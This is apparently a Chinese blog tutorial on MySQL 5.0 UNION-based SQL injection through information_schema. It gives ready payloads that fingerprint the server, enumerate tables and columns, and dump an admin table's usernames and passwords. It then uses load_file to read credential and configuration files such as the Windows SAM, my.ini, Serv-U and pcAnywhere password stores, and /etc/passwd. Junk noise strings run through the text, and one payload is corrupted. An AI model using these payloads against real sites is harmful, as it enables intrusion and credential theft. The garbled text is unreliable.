mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。


# X* R9 z0 H/ p
. H7 ]( K/ w: v5 |7 fMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
& u3 `8 j& i" n中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
# i+ A0 n5 R; U+ w% u# f3 t明。
1 Z& }) p2 b! S8 _- x) c1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称
. q/ X1 T  W# p7 M' N
6 O! s8 i! ^/ w1 Z1 h( W3 z, T4 V|TABLES ->存储表名
! O6 C: A) z1 d3 S( V) k$ k|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
0 J, i" {1 \2 {, |/ G5 H|—字段：TABLE_NAME ->存储表的表名
8 X/ x8 r0 x* y2 N5 a
|COLUMNS ->存储的字段名表
( }( x, t6 [. q2 [! k|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称
5 |6 m" r& v0 w) s* W) p
|—字段：COLUMN_NAME ->该字段的名称

- E: v- U9 b1 @/ b6 S0 L8 J#########################################################################
8 m# a" g% |. C, v4 U5 _( V' a##

0×001 获取系统信息:

( Z5 }9 x7 H1 tunion select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
1 j' t9 v. ~1 G! ~! L  ~% k
/*
0 b1 N( j2 X5 t4 P6 R
@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
. l+ i# I: J5 d5 `1 g/ t
*/

# a- Y. |& z; T( s* N( ]2 G* Y3 F! T% q######################################################################

$ N7 {: }' E/ Z+ y# Z0×002 获取表名

5 O; ?: v5 Y) c1 |# Cunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*
/ Y& Q+ ^( r3 Y, o
/*

* I3 d* F' [% e1 f- a/ F- z0x67617264656e 为当前数据库名
8 E+ a' p2 `* b2 x- I+ w
; m* |5 r# j. a7 b) U. Ogroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
* u1 L2 _- c- b8 h" e; N% P9 G3 a
1 g9 w4 J# x& N% h*/
* Z6 l7 c) P3 T1 I5 V
% z7 N( c) X9 J, m3 j3 j  g" d0 e+ A( Z######################################################################

  c* h0 ~* D) F7 j3 }( A! [9 e0×003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
' S2 Y% [4 C/ B4 s0 X1 e4 {information_schema.columns where table_name=0x61646d696e and

$ R) a$ T8 ?) V
9 N3 H; F- Y+ K' T$ B) J' ltable_schema=0x67617264656e limit 1 /*
0 j! ~3 B) L* V8 A! s0 [
/*
& n% C4 x- u) d( b
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
0 ~( l* s) A( g1 l5 [* A  L
0x61646d696e ->选择一个表

6 N/ \( a. n8 F. U! f0 H3 S% u0x67617264656e ->数据库名

*/

, ~- l2 U, L' G6 I9 j#####################################################################
# J, F$ {. ~# L- m
0×004 获取数据

# P- P" n; X* d% O3 Y1 ]union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
; W. ~# |' t' |! Y8 ]& K+ N8 J, H
7 @8 d* `$ g: {* J( U/ K1 T7 f+ funion select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
8 I7 G2 \) z3 F/ O* `2 E
" V& k; W' R' f( m7 d, m+ J8 R/*
/ ?! q* J. e8 j8 Y$ V) f0 \
0x3c62723e 换行符号HEX编码
4 ?/ M, h" ^, J  }4 u' Y
group_concat 同时获得该字段所有数据

*/





9 w% i7 D! k& \. \9 H0 n# f顺便添加一些mysql注入时非常有用的一些东西
* T$ o4 s3 t- Z- H8 e+ }7 e
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
# ?+ J  K$ j: H1 @2 D
1:system_user() 系统用户名
2:user()        用户名
3:current_user()  当前用户名
: u8 _, x/ h: S* p( H5 k7 U4:session_user()连接数据库的用户名
5:database()    数据库名
& Z, N0 e- l7 z8 D/ @6:version()     MYSQL数据库版本
# G% N: ~7 w( o7:load_file()   MYSQL读取本地文件的函数
% Y, X: }4 h, S  @( o& u8@datadir     读取数据库路径
1 S0 x2 s3 @) c: i) u& `# I9@basedir    MYSQL 安装路径
, S! [6 e, s# @- }& R10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
WINDOWS下:
- j9 J4 d% L* g9 h0 vc:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
4 L; ~) O" L' o% F$ Xc:/winnt/my.ini
' |8 T1 O/ `/ `8 H; M( n* tc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
/ a9 s- C  z* xc:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
8 p% `1 ?0 U5 M! C+ qc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
4 X; D9 l/ m7 l6 uc:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
' }7 D7 _% H5 f& T- Q" Z1 ~//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
& G/ C* ~2 w" ^- @5 U4 f. e* V: gc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.

5 P, p/ ~0 p4 T3 `4 ?. U
c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
5 ^6 Y* a) [1 {: k7 }d:\APACHE\Apache2\conf\httpd.conf
% e. E- Y. b  yC:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
- B" V/ M7 ^' Q4 `" ?C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
2 r4 R9 y% @: J& m% m% r
LUNIX/UNIX下:
4 s# k* S. t1 s0 V0 j/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
0 x/ k  z3 I5 B9 Y. X/usr/local/apache2/conf/httpd.conf
2 e/ F$ R' I9 o, u& q( c. D/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
) p3 @! u2 }2 b/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
* j) M# Y4 }" t  l& q/etc/redhat-release //系统版本
/etc/issue
8 l/ k9 U- g" X' ^. a7 G/etc/issue.net
- Y2 g$ c5 E* r& A9 G) \; r, N$ Q/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
) g  a4 q) X1 i. a7 _" k/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
1 D- g& K* O6 @/ N# V; h/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
9 r/ }% F8 l( d, Y! n' Kreplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
# V- u9 g0 W& T) [2 F; Y( R上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
& s" F2 ^1 s" R
7 r/ I- m- c/ @- H